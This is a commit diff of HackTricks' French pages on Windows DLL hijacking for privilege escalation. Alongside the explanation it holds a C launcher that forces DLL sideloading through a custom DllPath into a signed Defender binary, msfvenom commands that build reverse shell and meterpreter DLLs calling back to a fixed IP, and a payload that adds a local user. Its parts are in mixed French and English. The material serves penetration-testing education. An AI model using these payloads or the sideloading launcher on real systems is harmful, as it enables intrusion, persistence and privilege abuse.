mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
Translator
parent
07919ae4c6
commit
920e3af5cc
@ -4,87 +4,179 @@
|
||||
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
Le DLL Hijacking implique de manipuler une application de confiance pour charger un DLL malveillant. Ce terme englobe plusieurs tactiques comme **DLL Spoofing, Injection, et Side-Loading**. Il est principalement utilisé pour l'exécution de code, l'obtention de persistance, et, moins couramment, l'escalade de privilèges. Malgré l'accent mis sur l'escalade ici, la méthode de détournement reste cohérente à travers les objectifs.
|
||||
DLL Hijacking consiste à manipuler une application de confiance pour qu'elle charge une DLL malveillante. Ce terme englobe plusieurs tactiques comme **DLL Spoofing, Injection, and Side-Loading**. Il est principalement utilisé pour code execution, obtenir persistence et, moins fréquemment, privilege escalation. Malgré l'accent mis sur l'escalade ici, la méthode de hijacking reste la même quel que soit l'objectif.
|
||||
|
||||
### Common Techniques
|
||||
### Techniques courantes
|
||||
|
||||
Plusieurs méthodes sont employées pour le DLL hijacking, chacune ayant son efficacité selon la stratégie de chargement de DLL de l'application :
|
||||
|
||||
1. **DLL Replacement** : Échanger un DLL authentique avec un malveillant, en utilisant éventuellement le DLL Proxying pour préserver la fonctionnalité du DLL original.
|
||||
2. **DLL Search Order Hijacking** : Placer le DLL malveillant dans un chemin de recherche avant le légitime, exploitant le modèle de recherche de l'application.
|
||||
3. **Phantom DLL Hijacking** : Créer un DLL malveillant pour qu'une application le charge, pensant qu'il s'agit d'un DLL requis non existant.
|
||||
4. **DLL Redirection** : Modifier des paramètres de recherche comme `%PATH%` ou des fichiers `.exe.manifest` / `.exe.local` pour diriger l'application vers le DLL malveillant.
|
||||
5. **WinSxS DLL Replacement** : Substituer le DLL légitime par un équivalent malveillant dans le répertoire WinSxS, une méthode souvent associée au side-loading de DLL.
|
||||
6. **Relative Path DLL Hijacking** : Placer le DLL malveillant dans un répertoire contrôlé par l'utilisateur avec l'application copiée, ressemblant aux techniques d'exécution de proxy binaire.
|
||||
1. **DLL Replacement**: Remplacer une DLL légitime par une malveillante, éventuellement en utilisant DLL Proxying pour préserver le fonctionnement de la DLL originale.
|
||||
2. **DLL Search Order Hijacking**: Placer la DLL malveillante dans un chemin de recherche qui sera consulté avant celui contenant la DLL légitime, en profitant du schéma de recherche de l'application.
|
||||
3. **Phantom DLL Hijacking**: Créer une DLL malveillante qu'une application va charger en croyant qu'il s'agit d'une DLL requise inexistante.
|
||||
4. **DLL Redirection**: Modifier des paramètres de recherche comme `%PATH%` ou les fichiers `.exe.manifest` / `.exe.local` pour diriger l'application vers la DLL malveillante.
|
||||
5. **WinSxS DLL Replacement**: Substituer la DLL légitime par une version malveillante dans le répertoire WinSxS, méthode souvent associée au DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Placer la DLL malveillante dans un répertoire contrôlé par l'utilisateur avec l'application copiée, similaire aux techniques de Binary Proxy Execution.
|
||||
|
||||
## Finding missing Dlls
|
||||
## Trouver des DLL manquantes
|
||||
|
||||
La manière la plus courante de trouver des DLL manquants dans un système est d'exécuter [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) de sysinternals, **en définissant** les **2 filtres suivants** :
|
||||
La manière la plus courante de trouver des DLL manquantes sur un système est d'exécuter [procmon] depuis sysinternals, en **configurant** les **2 filtres suivants** :
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
et en montrant uniquement l'**activité du système de fichiers** :
|
||||
et n'afficher que la **File System Activity** :
|
||||
|
||||
.png>)
|
||||
|
||||
Si vous recherchez des **dlls manquants en général**, vous **laissez** cela fonctionner pendant quelques **secondes**.\
|
||||
Si vous recherchez un **dll manquant dans un exécutable spécifique**, vous devez définir **un autre filtre comme "Process Name" "contains" "\<exec name>", l'exécuter, et arrêter la capture des événements**.
|
||||
Si vous recherchez des DLL manquantes en général, laissez ceci tourner pendant quelques secondes.
|
||||
Si vous recherchez une DLL manquante dans un exécutable spécifique, vous devez définir un autre filtre comme "Process Name" "contains" "\<exec name>", exécuter l'exécutable, puis arrêter la capture des événements.
|
||||
|
||||
## Exploiting Missing Dlls
|
||||
## Exploiter des DLL manquantes
|
||||
|
||||
Pour escalader les privilèges, la meilleure chance que nous avons est de pouvoir **écrire un dll qu'un processus privilégié essaiera de charger** dans un des **endroits où il sera recherché**. Par conséquent, nous pourrons **écrire** un dll dans un **dossier** où le **dll est recherché avant** le dossier où le **dll original** se trouve (cas étrange), ou nous pourrons **écrire dans un dossier où le dll va être recherché** et le **dll original n'existe pas** dans aucun dossier.
|
||||
Pour escalader les privilèges, la meilleure opportunité est de pouvoir **écrire une DLL qu'un processus privilégié tentera de charger** dans un des **emplacements où elle sera recherchée**. Ainsi, on peut **écrire** une DLL dans un **dossier** où la **DLL est recherchée avant** le dossier contenant la **DLL originale** (cas particulier), ou écrire dans un dossier où la DLL sera recherchée alors que la DLL originale n'existe dans aucun dossier.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**Dans la** [**documentation Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **vous pouvez trouver comment les DLL sont chargées spécifiquement.**
|
||||
**Inside the** [**Microsoft documentation**] you can find how the Dlls are loaded specifically.
|
||||
|
||||
Les **applications Windows** recherchent des DLL en suivant un ensemble de **chemins de recherche prédéfinis**, respectant une séquence particulière. Le problème du DLL hijacking se pose lorsqu'un DLL nuisible est stratégiquement placé dans l'un de ces répertoires, garantissant qu'il soit chargé avant le DLL authentique. Une solution pour prévenir cela est de s'assurer que l'application utilise des chemins absolus lorsqu'elle fait référence aux DLL dont elle a besoin.
|
||||
Les applications Windows recherchent les DLL en suivant un ensemble de chemins de recherche prédéfinis, selon une séquence particulière. Le problème du DLL hijacking survient lorsqu'une DLL malveillante est placée stratégiquement dans l'un de ces répertoires de sorte qu'elle soit chargée avant la DLL authentique. Une solution pour prévenir cela est de faire en sorte que l'application utilise des chemins absolus lorsqu'elle référence les DLL dont elle a besoin.
|
||||
|
||||
Vous pouvez voir l'**ordre de recherche des DLL sur les systèmes 32 bits** ci-dessous :
|
||||
Vous pouvez voir l'**ordre de recherche des DLL sur les systèmes 32-bit** ci-dessous :
|
||||
|
||||
1. Le répertoire à partir duquel l'application a été chargée.
|
||||
2. Le répertoire système. Utilisez la fonction [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) pour obtenir le chemin de ce répertoire. (_C:\Windows\System32_)
|
||||
3. Le répertoire système 16 bits. Il n'existe pas de fonction qui obtienne le chemin de ce répertoire, mais il est recherché. (_C:\Windows\System_)
|
||||
4. Le répertoire Windows. Utilisez la fonction [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) pour obtenir le chemin de ce répertoire. (_C:\Windows_)
|
||||
5. Le répertoire courant.
|
||||
6. Les répertoires qui sont listés dans la variable d'environnement PATH. Notez que cela n'inclut pas le chemin par application spécifié par la clé de registre **App Paths**. La clé **App Paths** n'est pas utilisée lors du calcul du chemin de recherche des DLL.
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
C'est l'**ordre de recherche par défaut** avec **SafeDllSearchMode** activé. Lorsqu'il est désactivé, le répertoire courant passe au deuxième rang. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** et définissez-la sur 0 (par défaut, elle est activée).
|
||||
Ceci est l'ordre de recherche **par défaut** avec SafeDllSearchMode activé. Lorsqu'il est désactivé, le répertoire courant passe à la deuxième position. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode** et réglez-la sur 0 (la valeur par défaut est activée).
|
||||
|
||||
Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD_WITH_ALTERED_SEARCH_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** charge.
|
||||
Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD_WITH_ALTERED_SEARCH_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** est en train de charger.
|
||||
|
||||
Enfin, notez qu'**un dll pourrait être chargé en indiquant le chemin absolu au lieu du nom**. Dans ce cas, ce dll est **uniquement recherché dans ce chemin** (si le dll a des dépendances, elles seront recherchées comme si elles étaient chargées par nom).
|
||||
Enfin, notez qu'une DLL peut être chargée en indiquant le chemin absolu plutôt que juste le nom. Dans ce cas, cette DLL ne sera recherchée que dans ce chemin (si la DLL a des dépendances, elles seront recherchées comme si elles avaient été chargées par nom).
|
||||
|
||||
Il existe d'autres moyens d'altérer l'ordre de recherche mais je ne vais pas les expliquer ici.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Un moyen avancé pour influencer de façon déterministe le chemin de recherche des DLL d'un processus nouvellement créé est de définir le champ DllPath dans RTL_USER_PROCESS_PARAMETERS lors de la création du processus avec les APIs natives de ntdll. En fournissant un répertoire contrôlé par l'attaquant ici, un processus cible qui résout une DLL importée par nom (sans chemin absolu et sans utiliser les flags de chargement sécurisés) peut être forcé à charger une DLL malveillante depuis ce répertoire.
|
||||
|
||||
Idée clé
|
||||
- Construire les paramètres du processus avec RtlCreateProcessParametersEx et fournir un DllPath personnalisé pointant vers votre dossier contrôlé (par ex. le répertoire où se trouve votre dropper/unpacker).
|
||||
- Créer le processus avec RtlCreateUserProcess. Quand le binaire cible résout une DLL par nom, le loader consultera ce DllPath fourni pendant la résolution, permettant un sideloading fiable même lorsque la DLL malveillante n'est pas colocée avec l'EXE cible.
|
||||
|
||||
Remarques/limitations
|
||||
- Cela affecte le processus enfant en cours de création ; c'est différent de SetDllDirectory qui n'affecte que le processus courant.
|
||||
- La cible doit importer ou appeler LoadLibrary sur une DLL par nom (pas de chemin absolu et sans utiliser LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs et les chemins absolus codés en dur ne peuvent pas être détournés. Les exports forwardés et SxS peuvent modifier la précédence.
|
||||
|
||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Operational usage example
|
||||
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
|
||||
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
|
||||
|
||||
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.
|
||||
|
||||
Il existe d'autres moyens de modifier l'ordre de recherche, mais je ne vais pas les expliquer ici.
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
|
||||
Certaines exceptions à l'ordre de recherche standard des DLL sont notées dans la documentation Windows :
|
||||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
||||
|
||||
- Lorsqu'un **DLL qui partage son nom avec un déjà chargé en mémoire** est rencontré, le système contourne la recherche habituelle. Au lieu de cela, il effectue une vérification de redirection et un manifeste avant de se rabattre sur le DLL déjà en mémoire. **Dans ce scénario, le système ne procède pas à une recherche pour le DLL**.
|
||||
- Dans les cas où le DLL est reconnu comme un **DLL connu** pour la version actuelle de Windows, le système utilisera sa version du DLL connu, ainsi que toutes ses DLL dépendantes, **en omettant le processus de recherche**. La clé de registre **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contient une liste de ces DLL connus.
|
||||
- Si un **DLL a des dépendances**, la recherche de ces DLL dépendantes est effectuée comme si elles étaient indiquées uniquement par leurs **noms de module**, peu importe si le DLL initial a été identifié par un chemin complet.
|
||||
- Lorsqu'une **DLL qui partage son nom avec une DLL déjà chargée en mémoire** est rencontrée, le système contourne la recherche habituelle. À la place, il effectue une vérification de redirection et un manifeste avant de revenir par défaut à la DLL déjà en mémoire. **Dans ce scénario, le système n'effectue pas de recherche pour la DLL**.
|
||||
- Dans les cas où la DLL est reconnue comme une **known DLL** pour la version actuelle de Windows, le système utilisera sa version de la known DLL, ainsi que toutes ses DLL dépendantes, **en renonçant au processus de recherche**. La clé de registre **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contient la liste de ces known DLLs.
|
||||
- Si une **DLL a des dépendances**, la recherche de ces DLL dépendantes est effectuée comme si elles étaient indiquées uniquement par leurs **noms de module**, indépendamment du fait que la DLL initiale ait été identifiée via un chemin complet.
|
||||
|
||||
### Escalating Privileges
|
||||
|
||||
**Requirements**:
|
||||
|
||||
- Identifier un processus qui fonctionne ou fonctionnera sous **différents privilèges** (mouvement horizontal ou latéral), qui **manque d'un DLL**.
|
||||
- Assurez-vous qu'un **accès en écriture** est disponible pour tout **répertoire** dans lequel le **DLL** sera **recherché**. Cet emplacement pourrait être le répertoire de l'exécutable ou un répertoire dans le chemin système.
|
||||
- Identifier un processus qui fonctionne ou fonctionnera sous **des privilèges différents** (mouvement horizontal ou latéral), et qui **manque une DLL**.
|
||||
- S'assurer qu'un **accès en écriture** est disponible pour n'importe quel **répertoire** dans lequel la **DLL** sera **recherchée**. Cet emplacement peut être le répertoire de l'exécutable ou un répertoire dans le system path.
|
||||
|
||||
Oui, les exigences sont compliquées à trouver car **par défaut, il est un peu étrange de trouver un exécutable privilégié manquant d'un dll** et c'est encore **plus étrange d'avoir des permissions d'écriture sur un dossier de chemin système** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, cela est possible.\
|
||||
Dans le cas où vous avez de la chance et que vous remplissez les exigences, vous pourriez vérifier le projet [UACME](https://github.com/hfiref0x/UACME). Même si le **but principal du projet est de contourner UAC**, vous pourriez y trouver un **PoC** d'un Dll hijacking pour la version de Windows que vous pouvez utiliser (probablement juste en changeant le chemin du dossier où vous avez des permissions d'écriture).
|
||||
Oui, les prérequis sont compliqués à trouver car **par défaut il est plutôt étrange de trouver un exécutable privilégié auquel il manque une dll** et il est encore **plus étrange d'avoir des permissions d'écriture sur un dossier du system path** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, c'est possible.\
|
||||
Dans le cas où vous auriez de la chance et que vous remplissiez les conditions, vous pouvez consulter le projet [UACME](https://github.com/hfiref0x/UACME). Même si **le but principal du projet est de bypass UAC**, vous y trouverez peut-être un **PoC** d'un Dll hijaking pour la version de Windows que vous utilisez (probablement en changeant juste le chemin du dossier où vous avez des permissions d'écriture).
|
||||
|
||||
Notez que vous pouvez **vérifier vos permissions dans un dossier** en faisant:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
Et **vérifiez les permissions de tous les dossiers à l'intérieur de PATH** :
|
||||
Et **vérifiez les permissions de tous les dossiers dans PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
@ -93,7 +185,7 @@ Vous pouvez également vérifier les imports d'un exécutable et les exports d'u
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Pour un guide complet sur la façon d'**abuser du Dll Hijacking pour élever les privilèges** avec des permissions d'écriture dans un **dossier de chemin système**, consultez :
|
||||
Pour un guide complet expliquant comment **abuser de Dll Hijacking pour escalader les privilèges** lorsque vous avez la permission d'écrire dans un **dossier du System PATH**, consultez :
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
@ -101,29 +193,29 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
|
||||
### Outils automatisés
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) vérifiera si vous avez des permissions d'écriture sur n'importe quel dossier à l'intérieur du chemin système.\
|
||||
D'autres outils automatisés intéressants pour découvrir cette vulnérabilité sont les **fonctions PowerSploit** : _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ et _Write-HijackDll._
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) vérifiera si vous avez des permissions d'écriture sur n'importe quel dossier à l'intérieur du System PATH.\
|
||||
D'autres outils automatisés intéressants pour découvrir cette vulnérabilité sont les **fonctions PowerSploit** : _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ et _Write-HijackDll_.
|
||||
|
||||
### Exemple
|
||||
|
||||
Dans le cas où vous trouvez un scénario exploitable, l'une des choses les plus importantes pour réussir à l'exploiter serait de **créer un dll qui exporte au moins toutes les fonctions que l'exécutable importera de celui-ci**. Quoi qu'il en soit, notez que le Dll Hijacking est utile pour [élever du niveau d'intégrité moyen au niveau élevé **(en contournant UAC)**](../authentication-credentials-uac-and-efs.md#uac) ou de [**niveau élevé à SYSTEM**](#from-high-integrity-to-system)**.** Vous pouvez trouver un exemple de **comment créer un dll valide** dans cette étude de dll hijacking axée sur le dll hijacking pour l'exécution : [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
De plus, dans la **section suivante**, vous pouvez trouver quelques **codes dll de base** qui pourraient être utiles comme **modèles** ou pour créer un **dll avec des fonctions non requises exportées**.
|
||||
Si vous trouvez un scénario exploitable, l'une des choses les plus importantes pour l'exploiter avec succès sera de **créer une dll qui exporte au moins toutes les fonctions que l'exécutable importera depuis celle-ci**. Quoi qu'il en soit, notez que Dll Hijacking est utile pour [escalader du niveau d'intégrité Medium vers High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) ou de [**High Integrity vers SYSTEM**](#from-high-integrity-to-system). Vous pouvez trouver un exemple de **comment créer une dll valide** dans cette étude sur dll hijacking axée sur l'exécution : [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows).\
|
||||
De plus, dans la **section suivante** vous pouvez trouver quelques **codes dll basiques** qui peuvent être utiles comme **modèles** ou pour créer une **dll exportant des fonctions non requises**.
|
||||
|
||||
## **Création et compilation de Dlls**
|
||||
## **Creating and compiling Dlls**
|
||||
|
||||
### **Proxy Dll**
|
||||
### **Dll Proxifying**
|
||||
|
||||
Fondamentalement, un **proxy Dll** est un Dll capable d'**exécuter votre code malveillant lorsqu'il est chargé** mais aussi d'**exposer** et de **fonctionner** comme **prévu** en **relayant tous les appels à la véritable bibliothèque**.
|
||||
Basically a **Dll proxy** is a Dll capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**.
|
||||
|
||||
Avec l'outil [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ou [**Spartacus**](https://github.com/Accenture/Spartacus), vous pouvez en fait **indiquer un exécutable et sélectionner la bibliothèque** que vous souhaitez proxifier et **générer un dll proxifié** ou **indiquer le Dll** et **générer un dll proxifié**.
|
||||
With the tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) you can actually **indicate an executable and select the library** you want to proxify and **generate a proxified dll** or **indicate the Dll** and **generate a proxified dll**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Obtenir un shell rev (x64) :**
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Obtenez un meterpreter (x86) :**
|
||||
**Obtenir un meterpreter (x86) :**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
@ -131,9 +223,9 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dl
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Votre propre
|
||||
### Your own
|
||||
|
||||
Notez que dans plusieurs cas, le Dll que vous compilez doit **exporter plusieurs fonctions** qui vont être chargées par le processus victime, si ces fonctions n'existent pas, le **binaire ne pourra pas les charger** et l'**exploit échouera**.
|
||||
Notez que, dans plusieurs cas, la Dll que vous compilez doit **export several functions** qui seront chargées par le victim process. Si ces functions n'existent pas, le **binary won't be able to load** them et l'**exploit will fail**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -221,4 +313,7 @@ return TRUE;
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore déploie un nouveau malware ciblant l'Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -3,96 +3,189 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
Le DLL Hijacking implique de manipuler une application de confiance pour charger un DLL malveillant. Ce terme englobe plusieurs tactiques comme **DLL Spoofing, Injection, et Side-Loading**. Il est principalement utilisé pour l'exécution de code, l'obtention de persistance, et, moins couramment, l'escalade de privilèges. Malgré l'accent mis sur l'escalade ici, la méthode de détournement reste cohérente à travers les objectifs.
|
||||
DLL Hijacking consiste à manipuler une application de confiance pour qu'elle charge une DLL malveillante. Ce terme englobe plusieurs tactiques comme **DLL Spoofing, Injection, and Side-Loading**. Il est principalement utilisé pour l'exécution de code, l'obtention de persistence, et, moins fréquemment, la privilege escalation. Malgré l'accent mis ici sur l'escalation, la méthode de hijacking reste la même quel que soit l'objectif.
|
||||
|
||||
### Common Techniques
|
||||
### Techniques courantes
|
||||
|
||||
Plusieurs méthodes sont employées pour le DLL hijacking, chacune ayant son efficacité selon la stratégie de chargement de DLL de l'application :
|
||||
Plusieurs méthodes sont employées pour le DLL hijacking, chacune avec son efficacité selon la stratégie de chargement des DLL de l'application :
|
||||
|
||||
1. **DLL Replacement** : Échanger un DLL authentique avec un malveillant, en utilisant éventuellement le DLL Proxying pour préserver la fonctionnalité du DLL original.
|
||||
2. **DLL Search Order Hijacking** : Placer le DLL malveillant dans un chemin de recherche avant le légitime, exploitant le modèle de recherche de l'application.
|
||||
3. **Phantom DLL Hijacking** : Créer un DLL malveillant pour qu'une application le charge, pensant qu'il s'agit d'un DLL requis non existant.
|
||||
4. **DLL Redirection** : Modifier des paramètres de recherche comme `%PATH%` ou des fichiers `.exe.manifest` / `.exe.local` pour diriger l'application vers le DLL malveillant.
|
||||
5. **WinSxS DLL Replacement** : Substituer le DLL légitime par un équivalent malveillant dans le répertoire WinSxS, une méthode souvent associée au side-loading de DLL.
|
||||
6. **Relative Path DLL Hijacking** : Placer le DLL malveillant dans un répertoire contrôlé par l'utilisateur avec l'application copiée, ressemblant aux techniques d'exécution de proxy binaire.
|
||||
1. **DLL Replacement** : Remplacer une DLL légitime par une malveillante, éventuellement en utilisant DLL Proxying pour préserver la fonctionnalité de la DLL originale.
|
||||
2. **DLL Search Order Hijacking** : Placer la DLL malveillante dans un chemin de recherche situé avant celui de la DLL légitime, en exploitant le schéma de recherche de l'application.
|
||||
3. **Phantom DLL Hijacking** : Créer une DLL malveillante pour qu'une application la charge en pensant qu'il s'agit d'une DLL requise inexistante.
|
||||
4. **DLL Redirection** : Modifier des paramètres de recherche comme %PATH% ou les fichiers .exe.manifest / .exe.local pour rediriger l'application vers la DLL malveillante.
|
||||
5. **WinSxS DLL Replacement** : Substituer la DLL légitime par une version malveillante dans le répertoire WinSxS, méthode souvent associée au DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking** : Placer la DLL malveillante dans un répertoire contrôlé par l'utilisateur avec l'application copiée, ressemblant aux techniques Binary Proxy Execution.
|
||||
|
||||
## Finding missing Dlls
|
||||
|
||||
La manière la plus courante de trouver des DLL manquants dans un système est d'exécuter [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) de sysinternals, **en définissant** les **2 filtres suivants** :
|
||||
La manière la plus courante de trouver des DLL manquantes sur un système est d'exécuter [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) de sysinternals, en **configurant** les **2 filtres suivants** :
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
et montrer uniquement l'**activité du système de fichiers** :
|
||||
et afficher simplement l'**Activité du système de fichiers** :
|
||||
|
||||
.png>)
|
||||
|
||||
Si vous recherchez des **dlls manquants en général**, vous **laissez** cela fonctionner pendant quelques **secondes**.\
|
||||
Si vous recherchez un **dll manquant dans un exécutable spécifique**, vous devez définir **un autre filtre comme "Process Name" "contains" "\<exec name>", l'exécuter, et arrêter la capture des événements**.
